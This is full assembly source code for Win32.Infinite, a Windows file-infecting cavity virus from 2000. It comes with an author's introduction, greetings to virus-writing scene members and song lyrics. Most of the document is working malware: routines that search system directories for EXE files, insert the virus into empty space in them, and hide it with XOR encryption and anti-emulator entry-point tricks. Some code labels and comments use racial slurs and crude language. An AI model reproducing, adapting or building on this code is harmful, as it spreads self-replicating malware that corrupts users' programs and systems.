;
;����������������������Ŀ
; �����������������������        [ Win32.Infinite   Billy Belcebu/iKX ]
; ���������������������Ŀ �������[ 1699 bytes    Target - Win32 Ring3 ]������
; ����������������������� �      [ 17/07/00 - Made in Valencia, Spain ]
; �������������������������
;
;
;
; [ Introduction ]
;
; Welcome to Infinite. This virus has been  very rare for  me, as its ambient
; of  development was very odd. Well, it's  my first virus using cavity tech,
; something that i thought that it  was more difficult  than it really was...
; I sincerely doubt that it would work in WinNT family (NT4,W2K), as i havent
; been able to  test  it there (Win2k  has  some  incompatibilities  with  my
; 3DFX Voodoo2 and my soundcard), but i didn't wanted to change that thing of
; Win32. If it doesn't, i don't care... Blah blah blah, i've returned from my
; laaaarge VX holydays and i've just recently finished Forever and this babe.
; I hope i haven't lost my awesome  code style (blah, just kidding... i don't
; have  anything  awesome   besides  the   size  of   my  dick - enormous) :)
; Oh, i almost forgot... I've  realized that  the cavity  technique is stable
; most of the times, but it's not  perfect, and i should do much more compro-
; bations before infection than the already existing ones, but i really don't
; care: Windows also has fails in its code and noone reminds it ;)
; It's not a special virus in any field, but i wanted to do some cavity stuff
; and here it is. Mwaha!
;
; [ Features ]
;
;       + Cavity virus, searches for holes of zeroes or INT 3.
;       + Infect files on current, WINDOWS and WINDOWS/SYSTEM directories.
;       + Simple & silly 8-byte XOR encryption loop
;       + Kinda simple EPO with emulator protection
;       + Checks for SFC protection (if it works in Win2k...)
;       + CRC32 usage (APIs, extensions...)
;       + It's intended to be optimized (not too much, but enough)
;
; [ Greetings ]
;
; This time the greets will  go to  few ppl. From the VX  scene, to StarZer0,
; Wintermute,  VirusBuster, Benny, Asmodeus,  LifeWire,  Bumblebee,  Ypsilon,
; and from outside to my best friends out there.Also to the people that tries
; to make this place we call world a much better place. You rule, guyz.
;
; [ Infinity - The song ]
;
; Mother watch your children
; The iron fist of fear is ruling our lives
; It's not too late to change the course
; We can make this world a better place to be in
;
; How much more do we want until we're satisfied?
; What happens when we have what we want?
; Acquiring more, still there's never enough
; We forget those who really are in need
; The end is near, or so they say
; Selling peace with guns
;
; Infinity - Where do we go from here?
; Infinity - Where do we go from here?
; Infinity - Where do we go?
; Infinity - Where do we go from here?
;
; Guns spitting (out the) message of peace everywhere
; Is it really that we don't care?
; See mercenaries of fear selling love
; Telling salvation comes from above
; Arrogance and fear walking hand in hand
; We must see that there's much more to life than this
;
; Mother see your children
; Make us understand to and help us to find the way
; The answers lie inside
; They are locked inside to the vault of truth of us
; It's time to spread the word around
; Be yourself and do what you want to do with your life
; Remember, you get just what you give
; You reap all what you sow
; You are in charge of your own life
;
; Infinity - Where do we go from here?
; Infinity - Where do we go from here?
; Infinity - Where do we go?
; Infinity - Where do we go from here?
;
; You make your own way
;
; ------------------------------------------
; Infinity - [ Stratovarius ] - ( Infinite )
;
; (c) 2000 Billy Belcebu/iKX               [ http://beautifulpeople.cjb.net ]

; �������������������������������������������������������������������������ͻ
; � Win32.Infinite                               (c) 2000 Billy Belcebu/iKX �
; �������������������������������������������������������������������������ͼ

       include host.inc                        ; Some nice includes
       include infinite.inc

virseg  segment dword use32 public'infinite'

virus_start:

; �������������������������������������������������������������������������ͻ
; � Virus code                                                              �
; �������������������������������������������������������������������������ͼ

infinite:
       push    eax                             ; Make some space on stack
       pushad
       call    decrypt

encrypt_start   =       $
       call    get_delta

       call    SetSEH                          ; Set our new protection frame
       mov     esp,[esp+08h]
       call    get_delta
       jmp     RestoreSEH
SetSEH:
       xor     edx,edx
       push    dword ptr fs:[edx]
       mov     dword ptr fs:[edx],esp

       push    05h                             ; ECX is the limit of pages
       pop     ecx
       mov     esi,ebp                         ; We put a page inside our code
       call    CheckImageBase                  ; Get our own image base
       mov     dword ptr [ebp+modbase-delta],esi

       push    05h                             ; 50 pages to scan
       pop     ecx
       mov     esi,[esp+2Ch]                   ; Put the candidate to kernel
       call    CheckImageBase                  ; Scan backwards for it
       mov     dword ptr [ebp+kernel-delta],esi

       lea     eax,[ebp+api_list-delta]        ; Let's detect all the needed
       xchg    eax,esi                         ; APIs :)
       lea     edi,[ebp+api_addresses-delta]
       call    GetAPIs

; Virus is now initialized, let's search for objectives.

       lea     edi,[ebp+current_dir-delta]     ; Save current directory to
       push    edi                             ; a temp variable
       push    7Fh
       apicall GetCurrentDirectoryA

       lea     edi,[ebp+infect_dir-delta]
       push    7Fh
       push    edi
       apicall GetWindowsDirectoryA
       call    SetDir&Infect

       lea     edi,[ebp+infect_dir-delta]
       push    7Fh
       push    edi
       apicall GetSystemDirectoryA
       call    SetDir&Infect

       lea     edi,[ebp+current_dir-delta]
       push    edi
       apicall SetCurrentDirectoryA
       call    Seek&Infect

; Now let's unprotect the memory where the epo bytes will be restored

       call    hh&l                            ; Hunting high & low :)
       dq      ?
hh&l:   push    04h                             ; PAGE_READWRITE
       push    epo_bytes
       mov     eax,dword ptr [ebp+rethost-delta]
       add     eax,dword ptr [ebp+modbase-delta]
       push    eax
       apicall VirtualProtect

; Now it's time to go away ;)

RestoreSEH:
       xor     edx,edx                         ; Restore the original SEH
       pop     dword ptr fs:[edx]
       pop     edx

       mov     edi,(offset host-400000h)
rethost equ     $-4
       add     edi,12345678h
modbase equ     $-4

       mov     [esp.20h],edi

       call    over0
sebes   db      epo_bytes dup (90h)
over0:  pop     esi
       push    epo_bytes
       pop     ecx
       rep     movsb

       popad
       ret

; �������������������������������������������������������������������������ͻ
; � Mark of the virus                                                       �
; �������������������������������������������������������������������������ͼ

       db      0,"Win32.Infinite (c) 2000 Billy Belcebu/iKX",0

; �������������������������������������������������������������������������ͻ
; � Search for files to infect                                              �
; �������������������������������������������������������������������������ͼ

SetDir&Infect:
       lea     edi,dword ptr [ebp+infect_dir-delta]
       push    edi
       apicall SetCurrentDirectoryA

Seek&Infect:
       lea     eax,[ebp+WFD-delta]             ; Search for files
       push    eax
       call    over3
       db      "*.*",0                         ; Search for all files
over3:  apicall FindFirstFileA

       mov     dword ptr [ebp+SearchHandle-delta],eax

       inc     eax
       jz      FailOccured

SearchForMore:
       push    dword ptr [ebp+modbase-delta]   ; Preserve untouchable info
       push    dword ptr [ebp+rethost-delta]

       lea     edi,[(ebp.WFD.szFileName)-delta]; Is the file found factible
       push    edi                             ; of being infected?
       call    ProcessExtension
       pop     edi
       jecxz   NotThisTime                     ; Nopes.

       call    InfectPE

NotThisTime:
       pop     dword ptr [ebp+rethost-delta]   ; Restore this interesting
       pop     dword ptr [ebp+modbase-delta]   ; info

       lea     edi,[(ebp.WFD.szFileName)-delta]; Fill this with zeroes
       mov     ecx,260
       xor     al,al
       rep     stosb

       lea     eax,[ebp.WFD-delta]             ; Search for more little
       push    eax                             ; suckers
       push    dword ptr [ebp+SearchHandle-delta]
       apicall FindNextFileA
       or      eax,eax
       jnz     SearchForMore

CloseSearchHandle:
       push    dword ptr [ebp+SearchHandle-delta]
       apicall FindClose
FailOccured:
       ret

ProcessExtension:
; input:
;       EDI - Pointer to file name
; output:
;       ECX - NULL if it is not an extension; 1 if it is.

       xor     al,al                           ; Search for NULL
       scasb
       jnz     $-1

       lea     esi,[edi-5]                     ; Get the extension :)
       push    05h                             ; Size to calculate CRC32
       pop     edi
       or      dword ptr [esi],20202020h       ; Make locase the lewsers
       call    CRC32

       cmp     eax,0F643C743h                  ; Only EXE files
       jz      ItWasExtension

       dec     edx
ItWasExtension:
       inc     edx
       mov     ecx,edx
       ret

; �������������������������������������������������������������������������ͻ
; � PE Infection Engine                                                     �
; �������������������������������������������������������������������������ͼ

InfectPE:
; input:
;       EDI - Pointer to filename to infect
; output:
;       Nothing.

       cmp     dword ptr [ebp+SfcIsFileProtected-delta],00h
       jz      NotInWin2k

       push    edi                             ; Win2k ability: it has feature
       push    00h                             ; that warns the user if an
       apicall SfcIsFileProtected              ; important file is being
                                               ; modified. If the file has
       or      eax,eax                         ; such protection, we won't
       jnz     ExitInfectPE                    ; touch it, ok? ;)

NotInWin2k:
       push    80h                             ; Destroy hostile attributes
       push    edi                             ; and put normal ones
       apicall SetFileAttributesA

       xor     eax,eax                         ; Open file for R/W
       push    eax
       push    eax
       push    03h                             ; OPEN_EXISTING flag
       push    eax
       inc     eax
       push    eax
       push    0C0000000h                      ; READ / WRITE
       push    edi
       apicall CreateFileA

       inc     eax
       jz      ExitInfectPE
       dec     eax

       mov     dword ptr [ebp+FileHandle-delta],eax
                                               ; Save handle of opened file
       push    eax

       push    00h
       push    eax
       apicall GetFileSize                     ; Get its size
       mov     dword ptr [ebp+OriginalSize-delta],eax

       pop     ecx                             ; ECX = Handle

       xor     ebx,ebx                         ; EBX = 0
       push    ebx
       push    00h                             ; push size
       push    ebx
       push    04h
       push    ebx
       push    ecx                             ; push handle
       apicall CreateFileMappingA

       or      eax,eax
       jz      CloseFileExitInfectPE

       mov     dword ptr [ebp+MapHandle-delta],eax

       xor     ebx,ebx
       push    00h                             ; We want map only file size
       push    ebx
       push    ebx
       push    02h
       push    eax
       apicall MapViewOfFile

       or      eax,eax
       jz      UnMap&CloseMap&FileExitInfectPE

       mov     dword ptr [ebp+MapAddress-delta],eax

       mov     esi,[eax+3Ch]                   ; Ptr to PE header =]
       add     esi,eax
       mov     dword ptr [ebp+PtrPEH-delta],esi

       cmp     word ptr [esi],"EP"             ; Check for PE mark
       jnz     Trunc&UnMap&CloseMap&FileExitInfectPE

       cmp     dword ptr [esi.MagicInfection],inf_mark
       jz      Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for previous infection

       cmp     word ptr [esi.Machine],014Ch
       jnz     Trunc&UnMap&CloseMap&FileExitInfectPE ; Check for i386 ;)

       cmp     dword ptr [ebp.WFD.nFileSizeHigh-delta],00h
       jne     Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow huge & ugly files

       cmp     dword ptr [ebp.WFD.nFileSizeLow-delta],4000h
       jb      Trunc&UnMap&CloseMap&FileExitInfectPE ; Don't allow too little files

       mov     eax,[esi.EntrypointRVA]         ; EAX = Old file's EIP
       mov     dword ptr [ebp+rethost-delta],eax

       mov     edi,esi
       add     esi,0F8h-28h                    ; Pointer to 1st section-28h
nigger: add     esi,28h                         ; Ptr to section name ;)
       mov     edx,eax                         ; Put in EDX the original EIP
       sub     edx,[esi.VirtualAddress]        ; Remove the VirtualAddress
       cmp     edx,[esi.VirtualSize]           ; Is EIP pointing to this sec?
       jae     nigger                          ; If not, loop again

       mov     ebx,dword ptr [ebp+MapAddress-delta]

       pushad
       push    dword ptr [esi.SizeOfRawData]   ; Some tricky thing :)
       pop     dword ptr [esi.VirtualSize]
       mov     eax,[ebp+rethost-delta]
       add     eax,ebx
       mov     dword ptr [ebp+tempshit-delta],eax
       popad

       add     ebx,[esi.PtrToRawData]
       add     edx,ebx
       mov     esi,edx                         ; ESI - Pointer to section
       mov     dword ptr [ebp+EPofs-delta],esi ; mapped in mem where da EP is.

       mov     ebx,dword ptr [ebp+OriginalSize-delta] ; Search limit
       mov     ecx,heap_end-virus_start+security ; How many space do we need
       call    SeekForHoles
       jc      ThereWasNoHole

       pushad
       sub     eax,dword ptr [ebp+MapAddress-delta]
       mov     esi,dword ptr [ebp+PtrPEH-delta]
       mov     edi,esi                         ; We wanna put some attribs
       add     esi,0F8h-28h                    ; to the section where the
niggr2: add     esi,28h                         ; virus code is located, so
       mov     edx,eax                         ; we've to search for it :)
       sub     edx,[esi.VirtualAddress]
       cmp     edx,[esi.VirtualSize]
       jae     niggr2

; EAX = Ptr to hole

       mov     dword ptr [ebp+inf_switch-delta],00h

; Let's check if we can put ourselves inside the hole (more security)

       mov     edx,[esi.VirtualAddress]
       add     edx,[esi.VirtualSize]
       add     eax,((heap_end-virus_start)+security)
       sub     edx,eax
       js      wecantinfectthere
       mov     dword ptr [ebp+inf_switch-delta],01h
       or      [esi.Characteristics],0A0000020h ; PUT IT SUCKA!
wecantinfectthere:
       popad

       mov     ecx,12345678h
       org     $-4
inf_switch dd   ?
       or      ecx,ecx
       jz      Trunc&UnMap&CloseMap&FileExitInfectPE

       lea     esi,[ebp+virus_start-delta]
       mov     edi,eax
       add     edi,security                    ; Some security :)

       pushad
       mov     eax,12345678h                   ; Let's calculate where the
tempshit =      $-4                             ; jmp must point to
       add     eax,(killemu-epo)
       sub     edi,eax
       mov     dword ptr [ebp+jmpadd-delta],edi
       popad

       mov     ecx,virus_size
       rep     movsb

; Encrypt with a silly l00p

       pushad
       sub     edi,virus_end-encrypt_start
       mov     esi,edi
       call    random
       mov     bl,al
       mov     byte ptr [edi+enc_key-encrypt_start],bl
       mov     byte ptr [ebp+enc_k3y-delta],bl
       mov     ecx,encrypt_end-encrypt_start
enc_l00p:
       lodsb
       xor     al,bl
       stosb
       loop    enc_l00p
       popad

       pushad
       sub     edi,(virus_size-(sebes-virus_start))
       mov     esi,dword ptr [ebp+EPofs-delta]
       push    epo_bytes
       pop     ecx
       pushad

lewpit:
       lodsb                                   ; Store EPO bytes also
       xor     al,00h                          ; encrypted
enc_k3y =       $-1
       stosb
       loop    lewpit

       popad
       xchg    edi,esi

       call    over69

;���������������������������������Ŀ
epo:    call    killemu           ;� This code will give the control to the
       mov     esp,[esp+08h]     ;� virus and avoid the scanning of emulators
       xor     edx,edx           ;� at the same time :)
       pop     dword ptr fs:[edx];�
       pop     edx               ;�
       db      0E9h              ;�
jmpadd: dd      ?                 ;�
killemu:xor     edx,edx           ;�
       push    dword ptr fs:[edx];�
       mov     fs:[edx],esp      ;�
       div     edx               ;�
epo_bytes =     $-epo             ;�
;�����������������������������������

over69: pop     esi

       rep     movsb
       popad

       mov     esi,dword ptr [ebp+PtrPEH-delta]
       mov     dword ptr [esi.MagicInfection],inf_mark ; Put inf. mark

; Fix checksum if needed

       add     esi,58h
       cmp     dword ptr [esi],00h
       jz      Trunc&UnMap&CloseMap&FileExitInfectPE

       push    esi                             ; Pointer to CheckSum field
       call    n4t4s
       dd      ?                               ; Where store old CheckSum
n4t4s:  push    dword ptr [ebp+OriginalSize-delta]
       push    dword ptr [ebp+MapAddress-delta]
       apicall CheckSumMappedFile

ThereWasNoHole:
Trunc&UnMap&CloseMap&FileExitInfectPE:
UnMap&CloseMap&FileExitInfectPE:
       push    dword ptr [ebp+MapAddress-delta]
       apicall UnmapViewOfFile

CloseMap&FileExitInfectPE:
       push    dword ptr [ebp+MapHandle-delta]
       apicall CloseHandle

CloseFileExitInfectPE:
       push    dword ptr [ebp+FileHandle-delta]
       apicall CloseHandle

ExitInfectPE:
       ret

SeekForHoles:
; input:
;       ESI - Pointer inside file (in PE header)
;       ECX - How many space do we need
;       EBX - Search limit
; output:
;       EAX - Pointer to the beginning of the shit
;       CF - Set if error (couldn't find hole)

       call    SetSEH1
       mov     esp,[esp+08h]                   ; Just for security of
       call    get_delta                       ; scanning :)
       jmp     NSE_
SetSEH1:
       xor     edx,edx
       push    dword ptr fs:[edx]
       mov     dword ptr fs:[edx],esp

       push    esi
GetAnotherByte:
       xor     edx,edx                         ; Clear counter :)
GAB2:   dec     ebx                             ; Check if we arrived until
       jz      NoShitEnough                    ; the limit (run away if so)
       lodsb
       or      al,al                           ; NULL byte?
       jz      IsFillByte
       cmp     al,0CCh                         ; Int 3? (VC6 filez're full
       jnz     GetAnotherByte                  ; of them)
IsFillByte:
       inc     edx                             ; Increase counter
       cmp     ecx,edx
       jnz     GAB2
WeFoundManyShit:
       sub     esi,ecx                         ; ESI = Point to shit
       xchg    eax,esi
       pop     esi
       pop     dword ptr fs:[00h]
       pop     edx
       ret
NoShitEnough:
       pop     esi
NSE_:   stc
       pop     dword ptr fs:[00h]
       pop     edx
       ret

; �������������������������������������������������������������������������ͻ
; � APICRC32 Search Engine                                                  �
; �������������������������������������������������������������������������ͼ

GetAPIs         proc
; input:
;       EAX - Base address of the library where search the APIs
;       ESI - Pointer to an array of CRC32 of the APIs we want to search
;       EDI - Pointer to where store the APIs
; output:
;       Nothing.

       push    eax                             ; EAX = Handle of module
       pop     dword ptr [ebp+TmpModuleBase-delta]
APIS33K:
       lodsd                                   ; Get in EAX the CRC32 of API
       push    esi edi
       call    GetAPI_ET_CRC32
       pop     edi esi
       stosd                                   ; Save in [EDI] the API address

       cmp     byte ptr [esi],0BBh             ; There are more APIs in this
       jnz     APIS33K                         ; library

       inc     esi                             ; Check if it's the last of
       cmp     byte ptr [esi],""              ; all them
       jz      EndOfAPISearch

       push    esi                             ; ESI points now to the ASCIIz
       apicall LoadLibraryA                    ; string of a library... We
                                               ; need to load it!
       push    eax

nxtchr: lodsb                                   ; Reach the end of the lib
       test    al,al                           ; asciiz name
       jnz     nxtchr

       pop     eax
       jmp     GetAPIs

EndOfAPISearch:
       ret
GetAPIs         endp

GetAPI_ET_CRC32 proc
; input:
;       EAX - CRC32 of the API we want to know its address
; output:
;       EAX - API address, NULL if error

       xor     edx,edx

       pushad

       call    over_APICRC32_SEH
       mov     esp,[esp+08h]                   ; Set stack as before
       xor     eax,eax                         ; signalize the error
       jmp     Remove_APICRC32_SEH

over_APICRC32_SEH:
       push    dword ptr fs:[edx]              ; Set new SEH frame
       mov     dword ptr fs:[edx],esp

       xchg    eax,edx                         ; Put CRC32 of da api in EDX
       mov     dword ptr [ebp+Counter-delta],eax ; Clear this field :)
       push    3Ch
       pop     esi
       add     esi,[ebp+TmpModuleBase-delta]   ; Get PE header of module
       lodsw
       add     eax,[ebp+TmpModuleBase-delta]   ; Normalize

       push    1Ch
       pop     esi
       add     esi,[eax+78h]                   ; Get a pointer to its edata
       add     esi,[ebp+TmpModuleBase-delta]

       lea     edi,[ebp+AddressTableVA-delta]  ; Pointer to the address table
       lodsd                                   ; Get AddressTable value
       add     eax,[ebp+TmpModuleBase-delta]   ; Normalize
       stosd                                   ; And store in its variable

       lodsd                                   ; Get NameTable value
       add     eax,[ebp+TmpModuleBase-delta]   ; Normalize
       push    eax                             ; Put it in stack
       stosd                                   ; Store in its variable

       lodsd                                   ; Get OrdinalTable value
       add     eax,[ebp+TmpModuleBase-delta]   ; Normalize
       stosd                                   ; Store

       pop     esi                             ; ESI = NameTable VA

@?_3:   lodsd                                   ; Get pointer to an API name
       push    esi                             ; Save again
       add     eax,[ebp+TmpModuleBase-delta]   ; Normalize
       xchg    edi,eax                         ; Store ptr in EDI
       mov     ebx,edi                         ; And in EBX

       push    edi                             ; Save EDI
       xor     al,al
       scasb
       jnz     $-1
       pop     esi                             ; ESI = Pointer to API Name

       sub     edi,ebx                         ; EDI = API Name size

       push    edx                             ; Save API's CRC32
       call    CRC32                           ; Get actual api's CRC32
       pop     edx                             ; Restore API's CRC32
       cmp     edx,eax                         ; Are them equal?
       jz      @?_4                            ; if yes, we got it

       pop     esi                             ; Restore ptr to api name
       inc     dword ptr [ebp+Counter-delta]   ; And increase the counter
       jmp     @?_3                            ; Get another api!
@?_4:
       pop     esi                             ; Remove shit from stack
       mov     eax,12345678h                   ; Put in EAX the number that
Counter =       $-4                             ; the API occupy in list.
       shl     eax,1                           ; *2 (it's an array of words)
       add     eax,[ebp+OrdinalTableVA-delta]  ; Normalize
       xchg    eax,esi                         ; ESI = Ptr 2 ordinal; EAX = 0
       lodsw                                   ; Get ordinal in AX
       cwde                                    ; Clear MSW of EAX
       shl     eax,2                           ; And with it we go to the
       add     eax,[ebp+AddressTableVA-delta]  ; AddressTable (array of
       xchg    esi,eax                         ; dwords)
       lodsd                                   ; Get Address of API RVA
       add     eax,[ebp+TmpModuleBase-delta]   ; and normalize!! That's it!

Remove_APICRC32_SEH:
       xor     edx,edx                         ; Remove that SEH frame
       pop     dword ptr fs:[edx]
       pop     edx
       mov     [esp.1Ch],eax
       popad
       ret
GetAPI_ET_CRC32 endp

; �������������������������������������������������������������������������ͻ
; � Subroutines                                                             �
; �������������������������������������������������������������������������ͼ

CRC32:
; input:
;       ESI - Pointer to the data to process
;       EDI - Size of such data
; output:
;       EAX - CRC32 of that data

       cld
       pushad
       xor     ecx,ecx                         ; Optimized by me - 2 bytes
       dec     ecx                             ; less
       mov     edx,ecx
NextByteCRC:
       xor     eax,eax
       xor     ebx,ebx
       lodsb
       xor     al,cl
       mov     cl,ch
       mov     ch,dl
       mov     dl,dh
       mov     dh,8
NextBitCRC:
       shr     bx,1
       rcr     ax,1
       jnc     NoCRC
       xor     ax,08320h
       xor     bx,0EDB8h
NoCRC:  dec     dh
       jnz     NextBitCRC
       xor     ecx,eax
       xor     edx,ebx
       dec     edi
       jnz     NextByteCRC
       not     edx
       not     ecx
       xchg    eax,edx
       rol     eax,10h
       mov     ax,cx
       mov     [esp.PUSHAD_EAX],eax
       popad
       ret

CheckImageBase:
; input:
;       ESI - Address inside module
;       ECX - Limit
; output:
;       ESI - module address

       and     esi,0FFFF0000h
       cmp     word ptr [esi],"ZM"
       jz      ItWasKewlEnough
NotCoolAddress:
       sub     esi,00010000h
       loop    CheckImageBase
ItWasKewlEnough:
       ret

random:
; input:
;       Nothing.
; output:
;       EAX - Random number

       apicall GetTickCount
       xor     eax,12345678h
       org     $-4
seed    dd      -1
       mov     dword ptr [ebp+seed-delta],eax
       ret

; Let's save some bytes ;)

get_delta:
       call    delta                           ; Get a relative address from
delta:  pop     ebp                             ; when calculate offsets
       ret

; �������������������������������������������������������������������������ͻ
; � Virus Data                                                              �
; �������������������������������������������������������������������������ͼ

api_list        =       $
                     ; db      "KERNEL32",0            ; Don't needed
@VirtualProtect         dd      079C3D4BBh
@FindFirstFileA         dd      0AE17EBEFh
@FindNextFileA          dd      0AA700106h
@FindClose              dd      0C200BE21h
@CreateFileA            dd      08C892DDFh
@SetFileAttributesA     dd      03C19E536h
@CloseHandle            dd      068624A9Dh
@GetCurrentDirectoryA   dd      0EBC6C18Bh
@SetCurrentDirectoryA   dd      0B2DBD7DCh
@GetWindowsDirectoryA   dd      0FE248274h
@GetSystemDirectoryA    dd      0593AE7CEh
@CreateFileMappingA     dd      096B2D96Ch
@MapViewOfFile          dd      0797B49ECh
@UnmapViewOfFile        dd      094524B42h
@SetEndOfFile           dd      059994ED6h
@GetFileSize            dd      0EF7D811Bh
@SetFilePointer         dd      085859D42h
@GetSystemTime          dd      075B7EBE8h
@LoadLibraryA           dd      04134D1ADh
@FreeLibrary            dd      0AFDF191Fh
@GlobalAlloc            dd      083A353C3h
@GlobalFree             dd      05CDF6B6Ah
@WriteFile              dd      021777793h
@GetProcAddress         dd      0FFC97C1Fh
@GetTickCount           dd      0613FD7BAh
                       db      0BBh

                       db      "IMAGEHLP",0
@CheckSumMappedFile     dd      078B31744h
                       db      0BBh

                       db      "SFC",0
@SfcIsFileProtected     dd      06DE8F7ABh
                       db      0BBh

; That's the end, my friend...

                       db      ""

encrypt_end     =       $

; �������������������������������������������������������������������������ͻ
; � Simple decryption l00p :)                                               �
; �������������������������������������������������������������������������ͼ

decrypt:
       pop     esi
       mov     edi,esi
       mov     ecx,encrypt_end-encrypt_start
       mov     bl,00h
enc_key =       $-1
dec_l00p:
       lodsb
       xor     al,bl
       stosb
       loop    dec_l00p
       jmp     encrypt_start

virus_end       =       $

; �������������������������������������������������������������������������ͻ
; � Virus Data in the heap                                                  �
; �������������������������������������������������������������������������ͼ

kernel          dd      ?
TmpModuleBase   dd      ?
AddressTableVA  dd      ?
NameTableVA     dd      ?
OrdinalTableVA  dd      ?
OriginalSize    dd      ?
SearchHandle    dd      ?
FileHandle      dd      ?
MapHandle       dd      ?
MapAddress      dd      ?
PtrPEH          dd      ?
EPofs           dd      ?

api_addresses   =       $

; KERNEL32 APIs

VirtualProtect          dd      ?
FindFirstFileA          dd      ?
FindNextFileA           dd      ?
FindClose               dd      ?
CreateFileA             dd      ?
SetFileAttributesA      dd      ?
CloseHandle             dd      ?
GetCurrentDirectoryA    dd      ?
SetCurrentDirectoryA    dd      ?
GetWindowsDirectoryA    dd      ?
GetSystemDirectoryA     dd      ?
CreateFileMappingA      dd      ?
MapViewOfFile           dd      ?
UnmapViewOfFile         dd      ?
SetEndOfFile            dd      ?
GetFileSize             dd      ?
SetFilePointer          dd      ?
GetSystemTime           dd      ?
LoadLibraryA            dd      ?
FreeLibrary             dd      ?
GlobalAlloc             dd      ?
GlobalFree              dd      ?
WriteFile               dd      ?
GetProcAddress          dd      ?
GetTickCount            dd      ?

; IMAGEHLP APIs

CheckSumMappedFile      dd      ?

; SFC APIs

SfcIsFileProtected      dd      ?

; Other datas

WFD                     WIN32_FIND_DATA <?>
infect_dir              db      7Fh dup (?)
current_dir             db      7Fh dup (?)

heap_end        =       $

virseg  ends

end     infinite

;------------------------------[ INFINITE.INC ]------------------------------;

;****************************************************************************
;** This is the include file for the constant and macros of the virus      **
;****************************************************************************

; Constants

virus_size      =       virus_end-virus_start
total_size      =       heap_end-virus_start
inf_mark        =       "AIAG"

security        =       20d                     ; Very important

PUSHAD_EDI      =       00h
PUSHAD_ESI      =       04h
PUSHAD_EBP      =       08h
PUSHAD_ESP      =       0Ch
PUSHAD_EBX      =       10h
PUSHAD_EDX      =       14h
PUSHAD_ECX      =       18h
PUSHAD_EAX      =       1Ch

; Some PE header stuff

MagicPE         =       00h
Machine         =       04h
NumberOfSections=       06h
EntrypointRVA   =       28h
CodeRVA         =       2Ch
FileAlignment   =       3Ch
MagicInfection  =       4Ch
SizeOfImage     =       50h
CheckSum        =       58h
PECharacteristics=      5Eh
DirEntryReloc   =       0A0h

; Some section header fields

SectionName     =       00h
VirtualSize     =       08h
VirtualAddress  =       0Ch
SizeOfRawData   =       10h
PtrToRawData    =       14h
PtrToReloc      =       18h
NumOfReloc      =       20h
Characteristics =       24h


; Macros

apicall         macro   api2call
               call    dword ptr [ebp+api2call-delta]
               endm

; Structures

WIN32_FIND_DATA         struc
dwFileAttributes        dd      ?
ftCreationTime          dq      ?
ftLastAccessTime        dq      ?
ftLastWriteTime         dq      ?
nFileSizeHigh           dd      ?
nFileSizeLow            dd      ?
dwReserved0             dd      ?
dwReserved1             dd      ?
szFileName              db      260 dup (?)
szAlternateFileName     db      13 dup (?)
                       db      03 dup (?)
WIN32_FIND_DATA         ends


;-------------------------------[ HOST.INC ]--------------------------------;

;****************************************************************************
;** This is the host for the first generation                              **
;****************************************************************************

       .586p
       .model  flat,stdcall

extrn   MessageBoxA:PROC
extrn   ExitProcess:PROC

_DATA   segment dword use32 public 'DATA'

szTtl   db      "Win32.Infinite",0
szMsg   db      "Size "
       db      virus_size/1000 mod 10 + "0"
       db      virus_size/0100 mod 10 + "0"
       db      virus_size/0010 mod 10 + "0"
       db      virus_size/0001 mod 10 + "0"
       db      " - "
       db      "Virtual "
       db      total_size/1000 mod 10 + "0"
       db      total_size/0100 mod 10 + "0"
       db      total_size/0010 mod 10 + "0"
       db      total_size/0001 mod 10 + "0"
       db      10,"(c) 2000 Billy Belcebu/iKX",0

_DATA   ends

_TEXT  segment dword use32 public'CODE'

virus_init      proc
       jmp     virus_start
host:
       db      epo_bytes dup (90h)
       call    MessageBoxA,0,offset szMsg,offset szTtl,0
       call    ExitProcess,0
virus_init      endp

_TEXT   ends